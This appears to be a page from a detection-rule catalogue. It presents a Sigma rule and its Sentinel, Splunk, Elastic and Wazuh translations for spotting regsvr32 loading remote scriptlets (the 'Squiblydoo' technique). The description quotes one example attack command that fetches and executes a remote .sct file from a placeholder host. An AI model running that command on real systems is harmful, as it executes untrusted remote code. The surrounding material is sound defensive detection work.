Skip to content

Siemphony is in beta and still being built. What ships today, and what does not.

Siemphony’s repertoire

Regsvr32 loading a scriptlet or a module from a remote path

Siemphony@siemphonymediumT1218.010verified in lab
Takes the process-creation leg of AN0785 and splits regsvr32.exe executions into the two shapes the analytic calls anomalous: a module named by URL or UNC path rather than by a local file, and a COM scriptlet rather than a DLL. The remote selection matches an http, https or ftp scheme on the command line — the "Squiblydoo" form `regsvr32 /s /n /u /i:http://host/file.sct scrobj.dll`, which registers nothing and only executes — or a UNC prefix, written as four backslashes in the YAML because `\\` in Sigma is one literal backslash. The scriptlet selection matches the scriptlet engine `scrobj.dll` and the `.sct` extension, which is MITRE's ScriptletExtensions knob populated here with the two strings that name the mechanism rather than a file type. Plain `regsvr32 C:\path\thing.dll` is deliberately not a hit: registering a local DLL is what the binary is for, and MITRE's AllowedDLLPaths knob exists precisely because that traffic is constant. Two limits worth stating: a copy of regsvr32.exe renamed before use escapes the `Image|endswith` gate, and the analytic's other three log sources — Sysmon EventID 7 module loads and EventID 3/22 network and DNS events — are separate log sources that cannot be joined to this one inside a single Sigma rule, so the unsigned-DLL and outbound-traffic halves of the correlation are not expressed here. The brief maps Security EventID 4688 onto Sigma's `process_creation` category, which is Sysmon-shaped — this rule is written in that vocabulary (`Image`, `CommandLine`), and a raw 4688 feed, whose native field name for the binary is `NewProcessName`, needs the usual field mapping applied before it can match. 4688 also requires *Audit Process Creation*, and every selection here reads the arguments, so it additionally requires the separate *Include command line in process creation events* policy; without both, this rule returns zero rows, and zero rows here means blind, not quiet. UNVERIFIED AS AUTHORED — derived from MITRE ATT&CK DET0282, not hand-written and not tested by its author. Any lab result is on this rule's own page.Full description

The detection

The 4 SIEM queries below are previews produced by Siemphony’s own translator, not pySigma, and none has been executed against a real backend — review before you deploy.

detection.yml

Sentinel · KQL

Run this as a search.

DeviceProcessEvents| where (FolderPath endswith "\\regsvr32.exe" and ((ProcessCommandLine contains "http://" or ProcessCommandLine contains "https://" or ProcessCommandLine contains "ftp://" or ProcessCommandLine contains "\\\\") or (ProcessCommandLine contains "scrobj.dll" or ProcessCommandLine contains ".sct")))

Splunk · SPL

Run this as a search.

index=* (Image="*\\regsvr32.exe" AND ((CommandLine="*http://*" OR CommandLine="*https://*" OR CommandLine="*ftp://*" OR CommandLine="*\\\\*") OR (CommandLine="*scrobj.dll*" OR CommandLine="*.sct*")))

Elastic · ES|QL

Run this as a search.

FROM logs-*| WHERE (TO_LOWER(process.executable) LIKE "*\\\\regsvr32.exe" AND ((TO_LOWER(process.command_line) LIKE "*http://*" OR TO_LOWER(process.command_line) LIKE "*https://*" OR TO_LOWER(process.command_line) LIKE "*ftp://*" OR TO_LOWER(process.command_line) LIKE "*\\\\\\\\*") OR (TO_LOWER(process.command_line) LIKE "*scrobj.dll*" OR TO_LOWER(process.command_line) LIKE "*.sct*")))

Wazuh · XML rule

Deploy to your manager — this is a rule, not a search.

<group name="sigma,windows,process_creation,">  <!-- Rule ids must be unique on your manager; 100000+ is the user range. -->  <rule id="100000" level="7">    <!-- Set <if_sid> to the decoder/base rule for windows so this only evaluates relevant events. -->    <field name="Image" type="pcre2">(?i)\\regsvr32\.exe$</field>    <field name="CommandLine" type="pcre2">(?i)((http://|https://|ftp://|\\\\)|(scrobj\.dll|\.sct))</field>    <description>Regsvr32 loading a scriptlet or a module from a remote path</description>    <mitre>      <id>T1218.010</id>    </mitre>  </rule></group>

Verdicts · reactions · comments

Community

Verdicts from engineers who actually deployed it, and the conversation around it.

Log in to react
Not yet reported on

Nobody has run this in a real environment and said what happened.

Verdicts from engineers who deployed it

0 cast

No verdicts reported yet. The first one is worth more than the tenth — say what you ran it against.

Log in to report a verdict.

Log in to join the discussion.

No comments yet. Someone who deploys this will have something to say about it.